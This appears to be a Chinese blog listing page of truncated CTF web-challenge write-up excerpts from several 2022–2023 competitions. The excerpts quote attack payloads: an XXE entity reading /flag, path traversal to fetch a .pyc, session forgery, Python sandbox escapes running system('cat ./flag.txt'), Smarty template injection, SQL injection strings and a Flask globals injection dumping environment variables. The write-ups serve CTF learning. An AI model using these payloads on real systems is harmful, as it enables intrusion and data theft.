SYCTF2023
CarelessPy主页面的源代码提示了/eval路由和/login路由和一个任意文件下载/download?file=zayu2.jpg,eval路由可以传参cmd文件的路径来回显ls操作任意文件下载做了限制不能读flag和app.py,这里我们可以读pycache文件夹里面的part.cpython-311.pyc,然后pyc反编译1/download?file=../../__pycache__/part.cpython-311.pyc反编译的结果:然后去修改session:1eyJpc2xvZ2luIjp0cnVlfQ.ZRbAvg.y0__DjYK72pGaxry8UGzza9Dp8A修改session得到提示去/th1s_1s_The_L4st_one路由,发现是个xxe页面,而且没有过滤12345<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE note [<!ENTITY abc SYSTEM "file:///flag" >]> ...
SEECTF2023
[SEETF 2023]Express JavaScript Security下载附件,ejs版本3.1.9,存在SSTImain.js123456789101112131415161718192021222324252627282930313233343536const express = require('express');const ejs = require('ejs');const app = express();app.set('view engine', 'ejs');const BLACKLIST = [ "outputFunctionName", "escapeFunction", "localsName", "destructuredLocals"]app.get('/', (req, res) => { return res.render( ...
Pyjail学习1
前言之前没咋了解过这种题目,前几天强网杯遇到了三个pyjail题,当时搜文章出来全是HNCTF2022的wp和先知社区的总结文章,当时强网也只出了两个,于是打算赛后好好学习一下python沙箱逃逸的内容,感觉内容还挺多的,这篇先把2022的HNCTF题给全刷了(主要看的wp),下一篇在对知识总结
HNCTF2022wp这里用的nssctf的平台来做的: https://www.nssctf.cn/
[HNCTF 2022 Week1]calc_jail_beginner(JAIL)123456789101112131415161718192021#Your goal is to read ./flag.txt#You can use these payload liked `__import__('os').system('cat ./flag.txt')` or `print(open('/flag.txt').read())`WELCOME = ''' _ ______ _ ...
2023鹏城杯
Web-Escape这题直接改的别人的题,链接:https://github.com/noflowpls101/CTFS_2023/blob/a78e5f759304a01415cb6b1f5113c2384b353e7f/ImaginaryCTF_2023/Web_Helpful/solve.py,没给salt,16位爆破太长了,直接注入找环境变量主要是信息收集吧 https://imaginaryctf.org/ArchivedChallenges/39
http://172.10.0.5:10000/?username={passhash.__str__.__globals__[app].wsgi_app.__globals__[os].environ}&password=anything注入
Web-web1123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566 ...
HDCTF2023
1.Welcome To HDCTF 2023在game.js里发现奇怪的seeeeeeeecret,不难看出就是jsfuck直接把它放在控制台输出或者jsfuck解码1NSSCTF{We13ome_t@_HDCTF_2o23}
2.SearchMaster看报错信息是Smarty模板注入,123data={if system(‘cat /flag_13_searchmaster’)}{/if}data={{system(‘cat /flag_13_searchmaster’)}}
3.LoginMaster具体看这篇博客payload:11'union/**/select/**/replace(replace('1"union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char ...
Greek Challenge2022
花了好多天时间把去年的极客题目复现了一遍,虽然大部分题目的docker环境出了问题,但还是以各种方法本地调试复现一下,也学到了很多东西
收获:
postgresql数据库查询,单引号的过滤以及系统函数pg_read_file和pg_ls_dir
__halt_compiler();中断编译器执行
disable_function的绕过
一些提权方法
php弱类型绕过(16进制和科学计数法)
php伪随机数漏洞
CSRF学习
1.babysql单引号被过滤,g=2和g=3-1返回结果相同,是数字型
11 order by 3--+
11 order by 4--+
没有返回结果说明字段为三11 union select 1,2,3--+没有返回结果,看了wp才知道这是PosgreSQL数据库,不支持类型转换,推测id是int类型,uname和passwd是char类型所以:查询语句改成这样:1-1 union select 1,version(),version() --+PostgreSQL 14.5 (Ubuntu 14.5-0ubuntu0.22.04.1) on x86_64 ...
DASCTF 2023 & 0X401七月暑期挑战赛
ezflask1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport jsonapp = Flask(__name__)app.secret_key = str(uuid.uuid4())def check(data): for i in black_list: if i in data: return False return Truedef merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get ...
2023京麒CTFsolo-pop复现
这里用的大头的环境复现的,源文章:https://www.yuque.com/dat0u/ctf/sderglp3e16086dg
1docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} ccr.ccs.tencentyun.com/lxxxin/public:jqctf2023-solo-pop
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354 <?phphighlight_file(__FILE__);class test_upload{ public $check; public $filename; public function __construct($filename) { $this->check = new check() ...
2023第六届安洵杯复现
源码位置: https://github.com/D0g3-Lab/i-SOON_CTF_2023/tree/main/web
swagger docs直接docker-compose up -d发现容器会直接exit,直接去desktop里看一下但是我们可以发现是有run.sh的
1docker run -p 2256:5000 -it --entrypoint /bin/bash swaggerdocs-service
把run.sh的命令一下就行1nohup python api.py & python app.py
一开始用swagger-exp这个工具扫,但是发现没啥用,主要的接口在网站上面的文档都写了,题目也就用这几个
/api-base/v0/register: 注册
/api-base/v0/login: 登录
/api-base/v0/search: 任意文件读取
/api-base/v0/update: 原型链污染
/api-base/v0/logout: 登出注册登录拿token,Content-type要改json一开始读/proc/self/envi ...
2023柏鹭杯
有点菜,做了2个签到web,22mu师傅做了一个re和一个misc
webexpress fs?file=main.js读main.js123456789101112const express = require("express");const fs = require("fs"); const app = express(); const PORT = process.env.PORT || 80; app.use('/static', express.static('static')) app.use((req, res, next) => { if ([req.body, req.headers, req.query].some((item) => item && JSON.stringify(item).includes("flag"))) { return res.send("臭黑客!"); & ...